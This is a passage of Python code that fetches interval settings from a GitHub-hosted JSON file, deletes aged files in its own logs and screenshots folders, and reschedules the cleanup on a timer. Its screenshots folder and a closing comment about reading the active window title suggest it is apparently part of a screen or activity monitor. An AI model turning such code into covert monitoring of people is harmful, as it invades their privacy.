"""Fetch configuration from a URL and return as a dictionary."""
try:
response = requests.get(url)
if response.status_code == 200:
print(f"\n-----Values of interval.JSON-----\n{response.json()}")
return response.json()
else:
logging.warning(f"Failed to fetch config. Status code: {response.status_code}")
print(f"Failed to fetch config. Status code: {response.status_code}")
return {}
except Exception as e:
logging.error(f"Error fetching config from URL: {e}")
print(f"Error fetching config from URL: {e}")
return {}
# Function to calculate the folder's age and delete it if older than 90 days
def check_and_delete_old_folders():
global remaining_log_days, remaining_screenshot_days
try:
# Fetch configuration from URL
config_url = "https://raw.githubusercontent.com/bebedudu/autoupdate/refs/heads/main/interval.json"
config = fetch_config_from_url(config_url)
# Extract values from config or use defaults
remaining_log_days = config.get("remaining_log_days", threshold_seconds) # Default threshold_seconds is in seconds
remaining_screenshot_days = config.get("remaining_screenshot_days", threshold_seconds)
screenshot_delete_status = config.get("screenshot_delete_status", interval_logs_delete_status)
# Print fetched and default intervals
print("\n-----fetch status of logs & screenshot interval-----")
print(f"Fetched remaining_log_days: {config.get('remaining_log_days', 'Not found')} (default: {threshold_seconds} seconds - {format_remaining_time(threshold_seconds)})")
print(f"Fetched remaining_screenshot_days: {config.get('remaining_screenshot_days', 'Not found')} (default: {threshold_seconds} seconds - {format_remaining_time(threshold_seconds)})")
print(f"Fetched screenshot_delete_status: {config.get('screenshot_delete_status', 'Not found')} (default: {interval_logs_delete_status} seconds)")
# Print currently using values
# print("\n-----Currently Using Values-----")
# print(f"Using remaining_log_days: {remaining_log_days} seconds")
# print(f"Using remaining_screenshot_days: {remaining_screenshot_days} seconds")
# print(f"Using screenshot_delete_status: {screenshot_delete_status} seconds")
# Print currently using values
print("\n-----Currently Using Values-----")
print(f"Using remaining_log_seconds: {remaining_log_days} seconds ({format_remaining_time(remaining_log_days)})")
print(f"Using remaining_screenshot_seconds: {remaining_screenshot_days} seconds ({format_remaining_time(remaining_screenshot_days)})")
print(f"Using screenshot_delete_status: {screenshot_delete_status} seconds")
current_time = datetime.now()
# threshold_seconds = 120 # 2 minute in seconds for testing
# threshold_seconds = 5 * 24 * 60 * 60 # 5 days in seconds
# global threshold_seconds
# Logs folder cleaning
if os.path.exists(logs_folder):
remaining_log_days = clean_folder(logs_folder, current_time, remaining_log_days)
# remaining_log_days = clean_folder(logs_folder, current_time, threshold_seconds)
# print("remaining log days:- ", remaining_log_days)
# logging.warning(f"remaining time to delete logs: {format_remaining_time(remaining_log_days)}")
print(f"\n\n==========================================================================================\nremaining time to delete logs: {format_remaining_time(remaining_log_days)}\n------------------------------------------------------------------------------------------")
# Screenshot folder cleaning
if os.path.exists(screenshot_folder):
remaining_screenshot_days = clean_folder(screenshot_folder, current_time, remaining_screenshot_days)
# remaining_screenshot_days = clean_folder(screenshot_folder, current_time, threshold_seconds)
# print("remaining screenshot days:- ", remaining_screenshot_days)
# logging.warning(f"remaining time to delete screenshots: {format_remaining_time(remaining_screenshot_days)}")
print(f"------------------------------------------------------------------------------------------\nremaining time to delete screenshots: {format_remaining_time(remaining_screenshot_days)}\n==========================================================================================\n\n")
# Save updated remaining seconds to config.json
save_config()
# Schedule next check based on the fetched or default interval
threading.Timer(screenshot_delete_status, schedule_folder_check).start()
except Exception as e:
logging.error(f"Error in check_and_delete_old_folders: {e}")
print(f"Error in check_and_delete_old_folders: {e}")
def clean_folder(folder_path, current_time, threshold_seconds):
"""
Clean a folder by deleting files older than the threshold and return remaining time.
"""
try:
remaining_seconds = threshold_seconds
for root, dirs, files in os.walk(folder_path):
for file in files:
file_path = os.path.join(root, file)
file_age = current_time - datetime.fromtimestamp(os.path.getmtime(file_path))
file_age_seconds = file_age.total_seconds()
# Delete files older than the threshold
if file_age_seconds >= threshold_seconds:
try:
os.remove(file_path)
logging.info(f"Deleted old file: {file_path}")
print(f"⚠️ Deleted old file: {file_path}")
except Exception as e:
logging.error(f"Error deleting file {file_path}: {e}")
print(f"Error deleting file {file_path}: {e}")
else:
# Calculate remaining time for the newest file
remaining_seconds = min(remaining_seconds, threshold_seconds - file_age_seconds)
# print("remaining seconds:- ", remaining_seconds)
# If folder is empty, delete it
if not os.listdir(folder_path):
os.rmdir(folder_path)
logging.info(f"Deleted empty folder: {folder_path}")
print(f"🗑️ Deleted empty folder: {folder_path}")
os.makedirs(folder_path, exist_ok=True) # Recreate the folder
logging.info(f"Recreated folder: {folder_path}")
print(f"📁 Recreated folder: {folder_path}")
return max(0, remaining_seconds) # Return remaining time
except Exception as e:
logging.error(f"Error cleaning folder {folder_path}: {e}")
print(f"Error cleaning folder {folder_path}: {e}")
return threshold_seconds # Default remaining time if an error occurs
# Function to get the folder's last modified time
def get_folder_age(folder_path):
try:
folder_creation_time = datetime.fromtimestamp(os.path.getctime(folder_path))
logging.info(f"Folder {folder_path} creation time: {folder_creation_time}")
print(f"Folder {folder_path} creation time: {folder_creation_time}")
return folder_creation_time
except Exception as e:
logging.error(f"Error getting folder age for {folder_path}: {e}")
print(f"Error getting folder age for {folder_path}: {e}")
return datetime.now() # Return current time if there's an error
# Function to delete a folder
def delete_folder(folder_path):
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
try:
if os.path.exists(folder_path):
for root, dirs, files in os.walk(folder_path, topdown=False):
for name in files:
file_path = os.path.join(root, name)
try:
os.remove(file_path)
logging.info(f"[{timestamp}] - Deleted file: {file_path}")
print(f"[{timestamp}] - Deleted file: {file_path}")
except Exception as e:
logging.error(f"Error deleting file {file_path}: {e}")
print(f"Error deleting file {file_path}: {e}")
for name in dirs:
dir_path = os.path.join(root, name)
try:
os.rmdir(dir_path)
logging.info(f"[{timestamp}] - Deleted directory: {dir_path}")
print(f"[{timestamp}] - Deleted directory: {dir_path}")
except Exception as e:
logging.error(f"Error deleting directory {dir_path}: {e}")
print(f"Error deleting directory {dir_path}: {e}")
os.rmdir(folder_path)
logging.info(f"[{timestamp}] - Deleted folder: {folder_path}")
print(f"[{timestamp}] - Deleted folder: {folder_path}")
except Exception as e:
logging.error(f"Error deleting folder {folder_path}: {e}")
print(f"Error deleting folder {folder_path}: {e}")
# def format_remaining_time(seconds):
# """Format remaining time in a human-readable format."""
# try:
# remaining_time = timedelta(seconds=seconds)
# return str(remaining_time)
# except Exception as e:
# logging.error(f"Error formatting remaining time: {e}")
# return "N/A"
# Function to check and update the folder deletion status periodically
def schedule_folder_check():
global interval_logs_delete_status
try:
check_and_delete_old_folders()
save_config()
# Schedule the next execution after 24 hour for testing
# threading.Timer(86400, schedule_folder_check).start() # 24 hour
# threading.Timer(21600, schedule_folder_check).start() # 6 hour
# threading.Timer(40, schedule_folder_check).start() # 10 second
# threading.Timer(interval_logs_delete_status, schedule_folder_check).start() # 10 second
except Exception as e:
logging.error(f"Error in scheduling folder check: {e}")
print(f"Error in scheduling folder check: {e}")
# Start the periodic check
# schedule_folder_check()
# Get the active window's title